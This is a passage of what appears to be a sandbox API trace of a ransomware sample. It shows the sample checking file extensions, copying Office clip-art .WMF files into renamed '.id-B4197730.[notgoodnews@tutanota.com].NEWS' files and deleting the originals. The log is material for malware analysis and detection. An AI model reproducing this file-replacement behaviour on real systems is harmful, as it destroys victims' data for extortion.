Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.437] lstrlenW (lpString=".zip") returned 4 [0184.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.437] lstrlenW (lpString=".rar") returned 4 [0184.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.437] lstrlenW (lpString=".bz2") returned 4 [0184.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.437] lstrlenW (lpString=".7z") returned 3 [0184.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.437] lstrlenW (lpString=".dbf") returned 4 [0184.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.437] lstrlenW (lpString=".1cd") returned 4 [0184.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.437] lstrlenW (lpString=".jpg") returned 4 [0184.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.438] lstrlenW (lpString=".doc") returned 4 [0184.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.438] lstrlenW (lpString=".docx") returned 5 [0184.438] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.438] lstrlenW (lpString=".pdf") returned 4 [0184.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.438] lstrlenW (lpString=".xls") returned 4 [0184.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.438] lstrlenW (lpString=".xlsx") returned 5 [0184.438] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.438] lstrlenW (lpString=".ppt") returned 4 [0184.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.438] lstrlenW (lpString=".zip") returned 4 [0184.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.438] lstrlenW (lpString=".rar") returned 4 [0184.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.438] lstrlenW (lpString=".bz2") returned 4 [0184.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.438] lstrlenW (lpString=".7z") returned 3 [0184.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.438] lstrlenW (lpString=".dbf") returned 4 [0184.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.438] lstrlenW (lpString=".1cd") returned 4 [0184.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0184.439] lstrlenW (lpString=".jpg") returned 4 [0184.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.439] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.439] lstrlenW (lpString="J0107526.WMF") returned 12 [0184.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.441] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=7948) returned 1 [0184.441] CloseHandle (hObject=0x518) returned 1 [0184.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220 [0184.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.442] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.442] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.443] GetLastError () returned 0x0 [0184.443] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1f0c, lpOverlapped=0x0) returned 1 [0184.448] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0184.449] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.449] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.450] SetEndOfFile (hFile=0x53c) returned 1 [0184.454] CloseHandle (hObject=0x53c) returned 1 [0184.454] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.454] SetEndOfFile (hFile=0x518) returned 1 [0184.457] CloseHandle (hObject=0x518) returned 1 [0184.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0184.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.459] lstrlenW (lpString=".doc") returned 4 [0184.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.459] lstrlenW (lpString=".docx") returned 5 [0184.459] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.459] lstrlenW (lpString=".pdf") returned 4 [0184.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.459] lstrlenW (lpString=".xls") returned 4 [0184.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.459] lstrlenW (lpString=".xlsx") returned 5 [0184.459] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.459] lstrlenW (lpString=".ppt") returned 4 [0184.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.459] lstrlenW (lpString=".zip") returned 4 [0184.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.459] lstrlenW (lpString=".rar") returned 4 [0184.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString=".bz2") returned 4 [0184.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString=".7z") returned 3 [0184.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.460] lstrlenW (lpString=".dbf") returned 4 [0184.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.460] lstrlenW (lpString=".1cd") returned 4 [0184.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.460] lstrlenW (lpString=".jpg") returned 4 [0184.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.460] lstrlenW (lpString=".doc") returned 4 [0184.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString=".docx") returned 5 [0184.460] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.460] lstrlenW (lpString=".pdf") returned 4 [0184.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString=".xls") returned 4 [0184.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.460] lstrlenW (lpString=".xlsx") returned 5 [0184.460] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.460] lstrlenW (lpString=".ppt") returned 4 [0184.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.461] lstrlenW (lpString=".zip") returned 4 [0184.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.461] lstrlenW (lpString=".rar") returned 4 [0184.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.461] lstrlenW (lpString=".bz2") returned 4 [0184.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.461] lstrlenW (lpString=".7z") returned 3 [0184.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.461] lstrlenW (lpString=".dbf") returned 4 [0184.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.461] lstrlenW (lpString=".1cd") returned 4 [0184.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0184.461] lstrlenW (lpString=".jpg") returned 4 [0184.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.461] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.461] lstrlenW (lpString="J0107528.WMF") returned 12 [0184.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.613] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6792) returned 1 [0184.613] CloseHandle (hObject=0x518) returned 1 [0184.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220 [0184.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.614] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.614] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.615] GetLastError () returned 0x0 [0184.615] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1a88, lpOverlapped=0x0) returned 1 [0184.621] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0184.623] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.623] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.623] SetEndOfFile (hFile=0x53c) returned 1 [0184.623] CloseHandle (hObject=0x53c) returned 1 [0184.623] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.623] SetEndOfFile (hFile=0x518) returned 1 [0184.628] CloseHandle (hObject=0x518) returned 1 [0184.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0184.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.630] lstrlenW (lpString=".doc") returned 4 [0184.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.630] lstrlenW (lpString=".docx") returned 5 [0184.630] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.630] lstrlenW (lpString=".pdf") returned 4 [0184.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.630] lstrlenW (lpString=".xls") returned 4 [0184.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.630] lstrlenW (lpString=".xlsx") returned 5 [0184.630] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.630] lstrlenW (lpString=".ppt") returned 4 [0184.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.630] lstrlenW (lpString=".zip") returned 4 [0184.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.630] lstrlenW (lpString=".rar") returned 4 [0184.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.630] lstrlenW (lpString=".bz2") returned 4 [0184.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.631] lstrlenW (lpString=".7z") returned 3 [0184.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.631] lstrlenW (lpString=".dbf") returned 4 [0184.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.631] lstrlenW (lpString=".1cd") returned 4 [0184.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.631] lstrlenW (lpString=".jpg") returned 4 [0184.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.631] lstrlenW (lpString=".doc") returned 4 [0184.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.631] lstrlenW (lpString=".docx") returned 5 [0184.631] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.631] lstrlenW (lpString=".pdf") returned 4 [0184.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.631] lstrlenW (lpString=".xls") returned 4 [0184.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.631] lstrlenW (lpString=".xlsx") returned 5 [0184.631] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.631] lstrlenW (lpString=".ppt") returned 4 [0184.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.632] lstrlenW (lpString=".zip") returned 4 [0184.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.632] lstrlenW (lpString=".rar") returned 4 [0184.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.632] lstrlenW (lpString=".bz2") returned 4 [0184.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.632] lstrlenW (lpString=".7z") returned 3 [0184.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.632] lstrlenW (lpString=".dbf") returned 4 [0184.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.632] lstrlenW (lpString=".1cd") returned 4 [0184.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0184.632] lstrlenW (lpString=".jpg") returned 4 [0184.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.632] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.632] lstrlenW (lpString="J0107718.WMF") returned 12 [0184.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.633] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3800) returned 1 [0184.633] CloseHandle (hObject=0x518) returned 1 [0184.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220 [0184.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.634] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.634] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.636] GetLastError () returned 0x0 [0184.636] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xed8, lpOverlapped=0x0) returned 1 [0184.639] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xee0, lpOverlapped=0x0) returned 1 [0184.641] ReadFile (in: hFile=0x518, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.641] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.641] SetEndOfFile (hFile=0x53c) returned 1 [0184.641] CloseHandle (hObject=0x53c) returned 1 [0184.642] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.642] SetEndOfFile (hFile=0x518) returned 1 [0184.645] CloseHandle (hObject=0x518) returned 1 [0184.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0184.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.646] lstrlenW (lpString=".doc") returned 4 [0184.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.646] lstrlenW (lpString=".docx") returned 5 [0184.646] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.646] lstrlenW (lpString=".pdf") returned 4 [0184.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString=".xls") returned 4 [0184.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.647] lstrlenW (lpString=".xlsx") returned 5 [0184.647] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.647] lstrlenW (lpString=".ppt") returned 4 [0184.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0184.647] lstrlenW (lpString=".zip") returned 4 [0184.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.647] lstrlenW (lpString=".rar") returned 4 [0184.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.647] lstrlenW (lpString=".bz2") returned 4 [0184.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.647] lstrlenW 